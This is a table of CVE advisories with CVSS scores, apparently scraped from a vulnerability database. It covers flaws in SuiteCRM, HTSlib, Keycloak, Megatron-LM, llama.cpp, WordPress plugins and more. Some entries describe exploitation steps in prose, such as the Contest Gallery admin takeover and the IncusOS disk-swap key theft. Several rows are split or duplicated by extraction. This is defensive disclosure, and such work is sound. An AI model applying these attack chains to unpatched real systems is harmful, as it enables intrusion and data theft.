CVE-2026-29189	SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 7.15.1 and 8.9.3, the SuiteCRM REST API V8 has missing ACL (Access Control List) checks on several endpoints, allowing authenticated users to access and manipulate data they should not have permission to interact with. Versions 7.15.1 and 8.9.3 patch the issue.	8.1	More Details
CVE-2026-31971	HTSlib is a library for reading and writing bioinformatics file formats. CRAM is a compressed format which stores DNA sequence alignment data using a variety of encodings and compression methods. When reading data encoded using the `BYTE_ARRAY_LEN` method, the `cram_byte_array_len_decode()` failed to validate that the amount of data being unpacked matched the size of the output buffer where it was to be stored. Depending on the data series being read, this could result either in a heap or a stack overflow with attacker-controlled bytes. Depending on the data stream this could result either in a heap buffer overflow or a stack overflow. If a user opens a file crafted to exploit this issue it could lead to the program crashing, overwriting of data structures on the heap or stack in ways not expected by the program, or changing the control flow of the program. It may be possible to use this to obtain arbitrary code execution. Versions 1.23.1, 1.22.2 and 1.21.1 include fixes for this issue. There is no workaround for this issue.	8.1	More Details
CVE-2026-33316	Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.0, a flaw in Vikunja’s password reset logic allows disabled users to regain access to their accounts. The `ResetPassword()` function sets the user’s status to `StatusActive` after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through `/api/v1/user/password/token` and completing the reset via `/api/v1/user/password/reset`, a disabled user can reactivate their account and bypass administrator-imposed account disablement. Version 2.2.0 patches the issue.	8.1	More Details

	account disablement. Version 2.2.0 patches the issue.		
CVE-2026-27625	Stirling-PDF is a locally hosted web application that performs various operations on PDF files. In versions prior to 2.5.2, the /api/v1/convert/markdown/pdf endpoint extracts user-supplied ZIP entries without path checks. Any authenticated user can write files outside the intended temporary working directory, leading to arbitrary file write with the privileges of the Stirling-PDF process user (stirlingpdfuser). This can overwrite writable files and compromise data integrity, with further impact depending on writable paths. The issue was fixed in version 2.5.2.	8.1	More Details
CVE-2026-33678	Vikunja is an open-source self-hosted task management platform. Prior to version 2.2.1, `TaskAttachment.ReadOne()` queries attachments by ID only (`WHERE id = ?`), ignoring the task ID from the URL path. The permission check in `CanRead()` validates access to the task specified in the URL, but `ReadOne()` loads a different attachment that may belong to a task in another project. This allows any authenticated user to download or delete any attachment in the system by providing their own accessible task ID with a target attachment ID. Attachment IDs are sequential integers, making enumeration trivial. Version 2.2.1 patches the issue.	8.1	More Details
CVE-2026-31963	HTSlib is a library for reading and writing bioinformatics file formats. CRAM is a compressed format which stores DNA sequence alignment data. As one method of removing redundant data, CRAM uses reference-based compression so that instead of storing the full sequence for each alignment record it stores a location in an external reference sequence along with a list of differences to the reference at that location as a sequence of "features". When decoding these features, an out-by-one error in a test for CRAM features that appear beyond the extent of the CRAM record sequence could result in an invalid write of one attacker-controlled byte beyond the end of a heap buffer. Exploiting this bug causes a heap buffer overflow. If a user opens a file crafted to exploit this issue, it could lead to the program crashing, or overwriting of data and heap structures in ways not expected by the program. It may be possible to use this to obtain arbitrary code execution. Versions 1.23.1, 1.22.2 and 1.21.1 include fixes for this issue. There is no workaround for this issue.	8.1	More Details
CVE-2026-32730	ApostropheCMS is an open-source content management framework. Prior to version 4.28.0, the bearer token authentication middleware in `@apostrophecms/express/index.js` (lines 386-389) contains an incorrect MongoDB query that allows incomplete login tokens — where the password was verified but TOTP/MFA requirements were NOT — to be used as fully authenticated bearer tokens. This completely bypasses multi-factor authentication for any ApostropheCMS deployment using `@apostrophecms/login-totp` or any custom `afterPasswordVerified` login requirement. Version 4.28.0 fixes the issue.	8.1	More Details
CVE-2026-32808	pyLoad is a free and open-source download manager written in Python. Versions before 0.5.0b3.dev97 are vulnerable to path traversal during password verification of certain encrypted 7z archives (encrypted files with non-encrypted headers), causing arbitrary file deletion outside of the extraction directory. During password verification, pyLoad derives an archive entry name from 7z listing output and treats it as a filesystem path without constraining it to the extraction directory. This issue has been fixed in version 0.5.0b3.dev97.	8.1	More Details
CVE-2026-4434	Improper certificate validation in the PAM propagation WinRM connections allows a network attacker to perform a man-in-the-middle attack via disabled TLS certificate verification.	8.1	More Details
CVE-2026-2603	A flaw was found in Keycloak. A remote attacker could bypass security controls by sending a valid SAML response from an external Identity Provider (IdP) to the Keycloak SAML endpoint for IdP-initiated broker logins. This allows the attacker to complete broker logins even when the SAML Identity Provider is disabled, leading to unauthorized authentication.	8.1	More Details
CVE-2026-31968	HTSlib is a library for reading and writing bioinformatics file formats. CRAM is a compressed format which stores DNA sequence alignment data using a variety of encodings and compression methods. For the `VARINT` and `CONST` encodings, incomplete validation of the context in which the encodings were used could result in up to eight bytes being written beyond the end of a heap allocation, or up to eight bytes being written to the location of a one byte variable on the stack, possibly causing the values to adjacent variables to change unexpectedly. Depending on the data stream this could result either in a heap buffer overflow or a stack overflow. If a user opens a file crafted to exploit this issue it could lead to the program crashing, overwriting of data structures on the heap or stack in ways not expected by the program, or changing the control flow of the program. It may be possible to use this to obtain arbitrary code execution. Versions 1.23.1, 1.22.2 and 1.21.1 include fixes for this issue. There is no workaround for this issue.	8.1	More Details
CVE-2026-31969	HTSlib is a library for reading and writing bioinformatics file formats. CRAM is a compressed format which stores DNA sequence alignment data using a variety of encodings and compression methods. When reading data encoded using the `BYTE_ARRAY_STOP` method, an out-by-one error in the `cram_byte_array_stop_decode_char()` function check for a full output buffer could result in a single attacker-controlled byte being written beyond the end of a heap allocation. Exploiting this bug causes a heap buffer overflow. If a user opens a file crafted to exploit this issue, it could lead to the program crashing, or overwriting of data and heap structures in ways not expected by the program. It may be possible to use this to obtain arbitrary code execution. Versions 1.23.1, 1.22.2 and 1.21.1 include fixes for this issue. There is no workaround for this issue.	8.1	More Details
CVE-2026-	Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, in Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global `[passwords] default` credential. An attacker on the same local network can advertise a	8.1	More Details

32634	fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode. Version 4.5.2 fixes the issue.		
CVE-2026-31898	jsPDF is a library to generate PDFs in JavaScript. Prior to version 4.2.1, user control of arguments of the `createAnnotation` method allows users to inject arbitrary PDF objects, such as JavaScript actions. If given the possibility to pass unsanitized input to the following method, a user can inject arbitrary PDF objects, such as JavaScript actions, which might trigger when the PDF is opened or interacted with the `createAnnotation`: `color` parameter. The vulnerability has been fixed in jsPDF@4.2.1. As a workaround, sanitize user input before passing it to the vulnerable API members.	8.1	More Details
CVE-2026-33010	mcp-memory-service is an open-source memory backend for multi-agent systems. Prior to version 10.25.1, when the HTTP server is enabled (MCP_HTTP_ENABLED=true), the application configures FastAPI's CORSMiddleware with allow_origins=['*'], allow_credentials=True, allow_methods=["*"], and allow_headers=["*"]. The wildcard Access-Control-Allow-Origin: * header permits any website to read API responses cross-origin. When combined with anonymous access (MCP_ALLOW_ANONYMOUS_ACCESS=true) - the simplest way to get the HTTP dashboard working without OAuth - no credentials are needed, so any malicious website can silently read, modify, and delete all stored memories. This issue has been patched in version 10.25.1.	8.1	More Details
CVE-2026-29096	SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 7.15.1 and 8.9.3, when creating or editing a report (AOR_Reports module), the `field_function` parameter from POST data is saved directly into the `aor_fields` table without any validation. Later, when the report is executed/viewed, this value is concatenated directly into a SQL SELECT query without sanitization, enabling second-order SQL injection. Any authenticated user with Reports access can extract arbitrary database contents (password hashes, API tokens, config values). On MySQL with FILE privilege, this could lead to RCE via SELECT INTO OUTFILE. Versions 7.15.1 and 8.9.3 patch the issue.	8.1	More Details
CVE-2025-14037	The Invelity Product Feeds plugin for WordPress is vulnerable to arbitrary file deletion via path traversal in all versions up to, and including, 1.2.6. This is due to missing validation and sanitization in the 'createManageFeedPage' function. This makes it possible for authenticated administrator-level attackers to delete arbitrary files on the server via specially crafted requests that include path traversal sequences, granted they can trick an admin into clicking a malicious link.	8.1	More Details
CVE-2026-32610	Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, the Glances REST API web server ships with a default CORS configuration that sets `allow_origins=["*"]` combined with `allow_credentials=True`. When both of these options are enabled together, Starlette's `CORSMiddleware` reflects the requesting `Origin` header value in the `Access-Control-Allow-Origin` response header instead of returning the literal `*` wildcard. This effectively grants any website the ability to make credentialed cross-origin API requests to the Glances server, enabling cross-site data theft of system monitoring information, configuration secrets, and command line arguments from any user who has an active browser session with a Glances instance. Version 4.5.2 fixes the issue.	8.1	More Details
CVE-2026-3629	The Import and export users and customers plugin for WordPress is vulnerable to privilege escalation in all versions up to, and including, 1.29.7. This is due to the 'save_extra_user_profile_fields' function not properly restricting which user meta keys can be updated via profile fields. The 'get_restricted_fields' method does not include sensitive meta keys such as 'wp_capabilities'. This makes it possible for unauthenticated attackers to escalate their privileges to Administrator by submitting a crafted registration request that sets the 'wp_capabilities' meta key. The vulnerability can only be exploited if the "Show fields in profile" setting is enabled and a CSV with a wp_capabilities column header has been previously imported.	8.1	More Details
CVE-2026-4021	The Contest Gallery plugin for WordPress is vulnerable to an authentication bypass leading to admin account takeover in all versions up to, and including, 28.1.5. This is due to the email confirmation handler in `users-registry-check-after-email-or-pin-confirmation.php` using the user's email string in a `WHERE ID = %s` clause instead of the numeric user ID, combined with an unauthenticated key-based login endpoint in `ajax-functions-frontend.php`. When the non-default `RegMailOptional=1` setting is enabled, an attacker can register with a crafted email starting with the target user ID (e.g., `1poc@example.test`), trigger the confirmation flow to overwrite the admin's `user_activation_key` via MySQL integer coercion, and then use the `post_cg1l_login_user_by_key` AJAX action to authenticate as the admin without any credentials. This makes it possible for unauthenticated attackers to take over any WordPress administrator account and gain full site control.	8.1	More Details
CVE-2026-31970	HTSlib is a library for reading and writing bioinformatics file formats. GZI files are used to index block-compressed GZIP [BGZF] files. In the GZI loading function, `bgzf_index_load_hfile()`, it was possible to trigger an integer overflow, leading to an under- or zero-sized buffer being allocated to store the index. Sixteen zero bytes would then be written to this buffer, and, depending on the result of the overflow the rest of the file may also be loaded into the buffer as well. If the function did attempt to load the data, it would eventually fail due to not reading the expected number of records, and then try to free the overflowed heap buffer. Exploiting this bug causes a heap buffer overflow. If a user opens a file crafted to exploit this issue, it could lead to the program crashing, or overwriting of data and heap structures in ways not expected by the program. It may be possible to use this to obtain arbitrary code execution. Versions 1.23.1, 1.22.2 and 1.21.1 include fixes for this issue. The easiest work-around is to discard any `.gzi` index files from untrusted sources, and use the `bgzip -r` option to recreate them.	8.1	More Details
	OneUptime is a solution for monitoring and managing online services. Prior to version 10.0.34, the fix for CVE-2026-32306 (ClickHouse SQL injection via aggregate query parameters) added column name validation to the		

CVE-2026-33142	_aggregateBy method but did not apply the same validation to three other query construction paths in StatementGenerator. The toSortStatement, toSelectStatement, and toGroupByStatement methods accept user-controlled object keys from API request bodies and interpolate them as ClickHouse Identifier parameters without verifying they correspond to actual model columns. ClickHouse Identifier parameters are substituted directly into queries without escaping, so an attacker who can reach any analytics list or aggregate endpoint can inject arbitrary SQL through crafted sort, select, or groupBy keys. This issue has been patched in version 10.0.34.	8.1	More Details
CVE-2025-41258	LibreChat version 0.8.1-rc2 uses the same JWT secret for the user session mechanism and RAG API which compromises the service-level authentication of the RAG API.	8.0	More Details
CVE-2026-32813	Admidio is an open-source user management solution. Versions 5.0.6 and below are vulnerable to arbitrary SQL Injection through the MyList configuration feature. The MyList configuration feature lets authenticated users define custom list column layouts, storing user-supplied column names, sort directions, and filter conditions in the adm_list_columns table via prepared statements. However, these stored values are later read back and interpolated directly into dynamically constructed SQL queries without sanitization or parameterization, creating a classic second-order SQL injection vulnerability (safe write, unsafe read). An attacker can exploit this to inject arbitrary SQL, potentially reading, modifying, or deleting any data in the database and achieving full database compromise. This issue has been fixed in version 5.0.7.	8.0	More Details
CVE-2026-32014	OpenClaw versions prior to 2026.2.26 contain a metadata spoofing vulnerability where reconnect platform and deviceFamily fields are accepted from the client without being bound into the device-auth signature. An attacker with a paired node identity on the trusted network can spoof reconnect metadata to bypass platform-based node command policies and gain access to restricted commands.	8.0	More Details
CVE-2025-55041	MuraCMS through 10.1.10 contains a CSRF vulnerability in the Add To Group functionality for user management (cUsers.cfc addToGroup method) that allows attackers to escalate privileges by adding any user to any group without proper authorization checks. The vulnerable function lacks CSRF token validation and directly processes user-supplied userId and groupId parameters via getUserManager().createUserInGorup(), enabling malicious websites to forge requests that automatically execute when an authenticated administrator visits a crafted page. Adding a user to the Super Admins group (s2 user) is not possible. Successful exploitation results in the attacker gaining privilege escalation both horizontally to other groups and vertically to the admin group. Escalation to the s2 User group is not possible.	8.0	More Details
CVE-2026-24062	The "Privileged Helper" component of the Arturia Software Center (MacOS) does not perform sufficient client code signature validation when a client connects. This leads to an attacker being able to connect to the helper and execute privileged actions leading to local privilege escalation.	7.8	More Details
CVE-2025-63261	AWStats 8.0 is vulnerable to Command Injection via the open function	7.8	More Details
CVE-2026-24141	NVIDIA Model Optimizer for Windows and Linux contains a vulnerability in the ONNX quantization feature, where a user could cause unsafe deserialization by providing a specially crafted input file. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, data tampering, and information disclosure.	7.8	More Details
CVE-2026-32647	NGINX Open Source and NGINX Plus have a vulnerability in the ngx_http_mp4_module module, which might allow an attacker to trigger a buffer over-read or over-write to the NGINX worker memory resulting in its termination or possibly code execution, using a specially crafted MP4 file. This issue affects NGINX Open Source and NGINX Plus if it is built with the ngx_http_mp4_module module and the mp4 directive is used in the configuration file. Additionally, the attack is possible only if an attacker can trigger the processing of a specially crafted MP4 file with the ngx_http_mp4_module module. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.	7.8	More Details
CVE-2025-33248	NVIDIA Megatron-LM contains a vulnerability in the hybrid conversion script where an Attacker may cause an RCE by convincing a user to load a maliciously crafted file. A successful exploit of this vulnerability may lead to code execution, escalation of privileges, information disclosure, and data tampering.	7.8	More Details
CVE-2026-24151	NVIDIA Megatron-LM contains a vulnerability in inferencing where an Attacker may cause an RCE by convincing a user to load a maliciously crafted input. A successful exploit of this vulnerability may lead to code execution, escalation of privileges, information disclosure, and data tampering.	7.8	More Details
CVE-2026-24152	NVIDIA Megatron-LM contains a vulnerability in checkpoint loading where an Attacker may cause an RCE by convincing a user to load a maliciously crafted file. A successful exploit of this vulnerability may lead to code execution, escalation of privileges, information disclosure, and data tampering.	7.8	More Details
CVE-2026-24157	NVIDIA NeMo Framework contains a vulnerability in checkpoint loading where an attacker could cause remote code execution. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure and data tampering.	7.8	More Details
CVE-2026-33847	Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in linkingvision rapidvms.This issue affects rapidvms: before PR#96.	7.8	More Details
	The Intel EPT paging code uses an optimization to defer flushing of any cached EPT state until the p2m lock is		

CVE-2026-23554	dropped, so that multiple modifications done under the same locked region only issue a single flush. Freeing of paging structures however is not deferred until the flushing is done, and can result in freed pages transiently being present in cached state. Such stale entries can point to memory ranges not owned by the guest, thus allowing access to unintended memory regions.	7.8	More Details
CVE-2026-33850	Out-of-bounds Write vulnerability in WujekFoliarz DualSenseY-v2.This issue affects DualSenseY-v2: before 54.	7.8	More Details
CVE-2026-24159	NVIDIA NeMo Framework contains a vulnerability where an attacker may cause remote code execution. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure and data tampering.	7.8	More Details
CVE-2026-33851	Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in joncampbell123 doslib.This issue affects doslib: before doslib-20250729.	7.8	More Details
CVE-2026-27784	The 32-bit implementation of NGINX Open Source has a vulnerability in the ngx_http_mp4_module module, which might allow an attacker to over-read or over-write NGINX worker memory resulting in its termination, using a specially crafted MP4 file. The issue only affects 32-bit NGINX Open Source if it is built with the ngx_http_mp4_module module and the mp4 directive is used in the configuration file. Additionally, the attack is possible only if an attacker can trigger the processing of a specially crafted MP4 file with the ngx_http_mp4_module module. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.	7.8	More Details
CVE-2026-24150	NVIDIA Megatron-LM contains a vulnerability in checkpoint loading where an Attacker may cause an RCE by convincing a user to load a maliciously crafted file. A successful exploit of this vulnerability may lead to code execution, escalation of privileges, information disclosure, and data tampering.	7.8	More Details
CVE-2026-4756	Out-of-bounds Write vulnerability in MolotovCherry Android-ImageMagick7.This issue affects Android-ImageMagick7: before 7.1.2-11.	7.8	More Details
CVE-2026-33298	llama.cpp is an inference of several LLM models in C/C++. Prior to b7824, an integer overflow vulnerability in the `ggml_nbytes` function allows an attacker to bypass memory validation by crafting a GGUF file with specific tensor dimensions. This causes `ggml_nbytes` to return a significantly smaller size than required (e.g., 4MB instead of Exabytes), leading to a heap-based buffer overflow when the application subsequently processes the tensor. This vulnerability allows potential Remote Code Execution (RCE) via memory corruption. b7824 contains a fix.	7.8	More Details
CVE-2026-30874	OpenWrt Project is a Linux operating system targeting embedded devices. In versions prior to 24.10.6, a vulnerability in the hotplug_call function allows an attacker to bypass environment variable filtering and inject an arbitrary PATH variable, potentially leading to privilege escalation. The function is intended to filter out sensitive environment variables like PATH when executing hotplug scripts in /etc/hotplug.d, but a bug using strcmp instead of strncmp causes the filter to compare the full environment string (e.g., PATH=/some/value) against the literal "PATH", so the match always fails. As a result, the PATH variable is never excluded, enabling an attacker to control which binaries are executed by procd-invoked scripts running with elevated privileges. This issue has been fixed in version 24.10.6.	7.8	More Details
CVE-2026-32711	pydicom is a pure Python package for working with DICOM files. Versions 2.0.0-rc.1 through 3.0.1 are vulnerable to Path Traversal through a maliciously crafted DICOMDIR ReferencedFileID when it is set to a path outside the File-set root. pydicom resolves the path only to confirm that it exists, but does not verify that the resolved path remains under the File-set root. Subsequent public FileSet operations such as copy(), write(), and remove()+write(use_existing=True) use that unchecked path in file I/O operations. This allows arbitrary file read/copy and, in some flows, move/delete outside the File-set root. This issue has been fixed in version 3.0.2.	7.8	More Details
CVE-2026-33150	libfuse is the reference implementation of the Linux FUSE. From version 3.18.0 to before version 3.18.2, a use-after-free vulnerability in the io_uring subsystem of libfuse allows a local attacker to crash FUSE filesystem processes and potentially execute arbitrary code. When io_uring thread creation fails due to resource exhaustion (e.g., cgroup pids.max), fuse_uring_start() frees the ring pool structure but stores the dangling pointer in the session state, leading to a use-after-free when the session shuts down. The trigger is reliable in containerized environments where cgroup pids.max limits naturally constrain thread creation. This issue has been patched in version 3.18.2.	7.8	More Details
CVE-2026-22163	Requires malware code to misuse the DDK kernel module IOCTL interface. Such code can use the interface in an unsupported way that allows subversion of the GPU to perform writes to arbitrary physical memory pages. The product utilises a shared resource in a concurrent manner but does not attempt to synchronise access to the resource.	7.8	More Details
CVE-2026-33156	ScreenToGif is a screen recording tool. In versions from 2.42.1 and prior, ScreenToGif is vulnerable to DLL sideloading via version.dll . When the portable executable is run from a user-writable directory, it loads version.dll from the application directory instead of the Windows System32 directory, allowing arbitrary code execution in the user's context. This is especially impactful because ScreenToGif is primarily distributed as a portable application intended to be run from user-writable locations. At time of publication, there are no publicly available patches.	7.8	More Details

CVE-2026-33139	PySpector is a static analysis security testing (SAST) Framework engineered for modern Python development workflows. PySpector versions 0.1.6 and prior are affected by a security validation bypass in the plugin system. The validate_plugin_code() function in plugin_system.py, performs static AST analysis to block dangerous API calls before a plugin is trusted and executed. However, the internal resolve_name() helper only handles ast.Name and ast.Attribute node types, returning None for all others. When a plugin uses indirect function calls via getattr() (such as getattr(os, 'system')) the outer call's func node is of type ast.Call, causing resolve_name() to return None, and the security check to be silently skipped. The plugin incorrectly passes the trust workflow, and executes arbitrary system commands on the user's machine when loaded. This issue has been patched in version 0.1.7.	7.8	More Details
CVE-2026-4775	A flaw was found in the libtiff library. A remote attacker could exploit a signed integer overflow vulnerability in the putcontig8bitYCbCr44tile function by providing a specially crafted TIFF file. This flaw can lead to an out-of-bounds heap write due to incorrect memory pointer calculations, potentially causing a denial of service (application crash) or arbitrary code execution.	7.8	More Details
CVE-2019-25612	Admin Express 1.2.5.485 contains a local structured exception handling buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying an alphanumeric encoded payload in the Folder Path field. Attackers can trigger the vulnerability through the System Compare feature by pasting a crafted buffer overflow payload into the left-hand side Folder Path field and clicking the scale icon to execute shellcode with application privileges.	7.8	More Details
CVE-2025-33247	NVIDIA Megatron LM contains a vulnerability in quantization configuration loading, which could allow remote code execution. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.	7.8	More Details
CVE-2026-32064	OpenClaw versions prior to 2026.2.21 sandbox browser entrypoint launches x11vnc without authentication for noVNC observer sessions, allowing unauthenticated access to the VNC interface. Remote attackers on the host loopback interface can connect to the exposed noVNC port to observe or interact with the sandbox browser without credentials.	7.7	More Details
CVE-2026-22558	An Authenticated NoSQL Injection vulnerability found in UniFi Network Application could allow a malicious actor with authenticated access to the network to escalate privileges.	7.7	More Details
CVE-2026-25086	Under certain conditions, an attacker could bind to the same port used by WebCTRL. This could allow the attacker to craft and send malicious packets and impersonate the WebCTRL service without requiring code injection into the WebCTRL software.	7.7	More Details
CVE-2026-2092	A flaw was found in Keycloak. Keycloak's Security Assertion Markup Language (SAML) broker endpoint does not properly validate encrypted assertions when the overall SAML response is not signed. An attacker with a valid signed SAML assertion can exploit this by crafting a malicious SAML response. This allows the attacker to inject an encrypted assertion for an arbitrary principal, leading to unauthorized access and potential information disclosure.	7.7	More Details
CVE-2026-31891	Cockpit is a headless content management system. Any Cockpit CMS instance running version 2.13.4 or earlier with API access enabled is potentially affected by a a SQL Injection vulnerability in the MongoLite Aggregation Optimizer. Any deployment where the `/api/content/aggregate/{model}` endpoint is publicly accessible or reachable by untrusted users may be vulnerable, and attackers in possession of a valid read-only API key (the lowest privilege level) can exploit this vulnerability — no admin access is required. An attacker can inject arbitrary SQL via unsanitized field names in aggregation queries, bypass the `_state=1` published-content filter to access unpublished or restricted content, and extract unauthorized data from the underlying SQLite content database. This vulnerability has been patched in version 2.13.5. The fix applies the same field-name sanitization introduced in v2.13.3 for `toJsonPath()` to the `toJsonExtractRaw()` method in `lib/MongoLite/Aggregation/Optimizer.php`, closing the injection vector in the Aggregation Optimizer.	7.7	More Details
CVE-2026-33399	Wallos is an open-source, self-hostable personal subscription tracker. Prior to version 4.7.0, the SSRF fix applied in version 4.6.2 for CVE-2026-30839 and CVE-2026-30840 is incomplete. The validate_webhook_url_for_ssrf() protection was added to the test* notification endpoints but not to the corresponding save* endpoints. An authenticated user can save an internal/private IP address as a notification URL, and when the cron job sendnotifications.php executes, the request is sent to the internal IP without any SSRF validation. This issue has been patched in version 4.7.0.	7.7	More Details
CVE-2024-42210	A Stored cross-site scripting (XSS) vulnerability affects HCL Unica Marketing Operations v12.1.8 and lower. Stored cross-site scripting (also known as second-order or persistent XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.	7.6	More Details
CVE-2026-33354	WWBN AVideo is an open source video platform. In versions up to and including 26.0, `POST /objects/aVideoEncoder.json.php` accepts a requester-controlled `chunkFile` parameter intended for staged upload chunks. Instead of restricting that path to trusted server-generated chunk locations, the endpoint accepts arbitrary local filesystem paths that pass `isValidURLOrPath()`. That helper allows files under broad server directories including `/var/www/`, the application root, cache, tmp, and `videos`, only rejecting `.php` files. For an authenticated uploader editing their own video, this becomes an arbitrary local file read. The endpoint copies the attacker-chosen local file into the attacker's public video storage path, after which it can be downloaded over HTTP. Commit 59bbd601a3f65a5b18c1d9e4eb11471c0a59214f contains a patch for the issue.	7.6	More Details
	Cryptomator encrypts data being stored on cloud infrastructure. Prior to version 1.19.1, an integrity check vulnerability allows an attacker to tamper with the vault configuration file leading to a man-in-the-middle		

CVE-2026-32303	vulnerability allows an attacker to tamper with the vault configuration file leading to a man-in-the-middle vulnerability in Hub key loading mechanism. Before this fix, the client trusted endpoints from the vault config without host authenticity checks, which could allow token exfiltration by mixing a legitimate auth endpoint with a malicious API endpoint. Impacted are users unlocking Hub-backed vaults with affected client versions in environments where an attacker can alter the vault.cryptomator file. This issue has been patched in version 1.19.1.	7.6	More Details
CVE-2026-32692	An authorization bypass vulnerability in the Vault secrets back-end implementation of Juju versions 3.1.6 through 3.6.18 allows an authenticated unit agent to perform unauthorized updates to secret revisions. With sufficient information, an attacker can poison any existing secret revision within the scope of that Vault secret back-end.	7.6	More Details
CVE-2026-33321	OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 8.0.0.2, users with the `Notes - my encounters` role can fill Eye Exam forms in patient encounters. The answers to the form can be printed out in PDF form. An Out-of-Band Server-Side Request Forgery (OOB SSRF) vulnerability was identified in the PDF creation function where the form answers are parsed as unescaped HTML, allowing an attacker to forge requests from the server made to external or internal resources. Version 8.0.0.2 fixes the issue.	7.6	More Details
CVE-2026-32606	IncusOS is an immutable OS image dedicated to running Incus. Prior to 202603142010, the default configuration of systemd-cryptenroll as used by IncusOS through mkosi allows for an attacker with physical access to the machine to access the encrypted data without requiring any interaction by the system's owner or any tampering of Secure Boot state or kernel (UKI) boot image. That's because in this configuration, the LUKS key is made available by the TPM so long as the system has the expected PCR7 value and the PCR11 policy matches. That default PCR11 policy importantly allows for the TPM to release the key to the booted system rather than just from the initrd part of the signed kernel image (UKI). The attack relies on the attacker being able to substitute the original encrypted root partition for one that they control. By doing so, the system will prompt for a recovery key on boot, which the attacker has defined and can provide, before booting the system using the attacker's root partition rather than the system's original one. The attacker only needs to put a systemd unit starting on system boot within their root partition to have the system run that logic on boot. That unit will then run in an environment where the TPM will allow for the retrieval of the encryption key of the real root disk, allowing the attacker to steal the LUKS volume key (immutable master key) and then use it against the real root disk, altering it or getting data out before putting the disk back the way it was and returning the system without a trace of this attack having happened. This is all possible because the system will have still booted with Secure Boot enabled, will have measured and ran the expected bootloader and kernel image (UKI). The initrd selects the root disk based on GPT partition identifiers making it possible to easily substitute the real root disk for an attacker controlled one. This doesn't lead to any change in the TPM state and therefore allows for retrieval of the LUKS key by the attacker through a boot time systemd unit on their alternative root partition. IncusOS version 202603142010 (2026/03/14 20:10 UTC) includes the new PCR15 logic and will automatically update the TPM policy on boot. Anyone suspecting that their system may have been physically accessed while shut down should perform a full system wipe and reinstallation as only that will rotate the LUKS volume key and prevent subsequent access to the encrypted data should the system have been previously compromised. There are no known workarounds other than updating to a version with corrected logic which will automatically rebind the LUKS keys to the new set of TPM registers and prevent this from being exploited.	7.6	More Details
CVE-2026-33650	WWBN AVideo is an open source video platform. In versions up to and including 26.0, a user with the "Videos Moderator" permission can escalate privileges to perform full video management operations — including ownership transfer and deletion of any video — despite the permission being documented as only allowing video publicity changes (Active, Inactive, Unlisted). The root cause is that `Permissions::canModerateVideos()` is used as an authorization gate for full video editing in `videoAddNew.json.php`, while `videoDelete.json.php` only checks ownership, creating an asymmetric authorization boundary exploitable via a two-step ownership-transfer-then-delete chain. Commit 838e16818c793779406ecbf34ebaeba9830e33f8 contains a patch.	7.6	More Details
CVE-2026-32317	Cryptomator for Android offers multi-platform transparent client-side encryption for files in the cloud. Prior to version 1.12.3, an integrity check vulnerability allows an attacker tamper with the vault configuration file leading to a man-in-the-middle vulnerability in Hub key loading mechanism. Before this fix, the client trusted endpoints from the vault config without host authenticity checks, which could allow token exfiltration by mixing a legitimate auth endpoint with a malicious API endpoint. Impacted are users unlocking Hub-backed vaults with affected client versions in environments where an attacker can alter the vault.cryptomator file. This issue has been patched in version 1.12.3.	7.6	More Details
CVE-2026-32728	Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.15 and 8.6.41, an attacker who is allowed to upload files can bypass the file extension filter by appending a MIME parameter (e.g. `;charset=utf-8`) to the `Content-Type` header. This causes the extension validation to fail matching against the blocklist, allowing active content to be stored and served under the application's domain. In addition, certain XML-based file extensions that can render scripts in web browsers are not included in the default blocklist. This can lead to stored XSS attacks, compromising session tokens, user credentials, or other sensitive data accessible via the browser's local storage. The fix in versions 9.6.0-alpha.15 and 8.6.41 strips MIME parameters from the `Content-Type` header before validating the file extension against the blocklist. The default blocklist has also been extended to include additional XML-based extensions (`xsd`, `rng`, `rdf`, `rdf+xml`, `owl`, `mathml`, `mathml+xml`) that can render active content in web browsers. Note that the `fileUpload.fileExtensions` option is intended to be configured as an allowlist of file extensions that are valid for a specific application, not as a denylist. The default denylist is provided only as a basic default that covers most common problematic extensions. It is not intended to be an exhaustive list of all potentially dangerous extensions. Developers should not rely on the default value, as new extensions that can render active content in browsers might emerge in the future. As a workaround, configure the `fileUpload.fileExtensions` option	7.6	More Details

	to use an allowlist of only the file extensions that your application needs, rather than relying on the default blocklist.		
CVE-2026-32749	SiYuan is a personal knowledge management system. In versions 3.6.0 and below, POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE. This can lead to aata destruction by overwriting workspace or application files, and for Docker containers running as root (common default), this grants full container compromise. This issue has been fixed in version 3.6.1.	7.6	More Details
CVE-2026-32318	Cryptomator for IOS offers multi-platform transparent client-side encryption for files in the cloud. Prior to version 2.8.3, an integrity check vulnerability allows an attacker tamper with the vault configuration file leading to a man-in-the-middle vulnerability in Hub key loading mechanism. Before this fix, the client trusted endpoints from the vault config without host authenticity checks, which could allow token exfiltration by mixing a legitimate auth endpoint with a malicious API endpoint. Impacted are users unlocking Hub-backed vaults with affected client versions in environments where an attacker can alter the vault.cryptomator file. This issue has been patched in version 2.8.3.	7.6	More Details
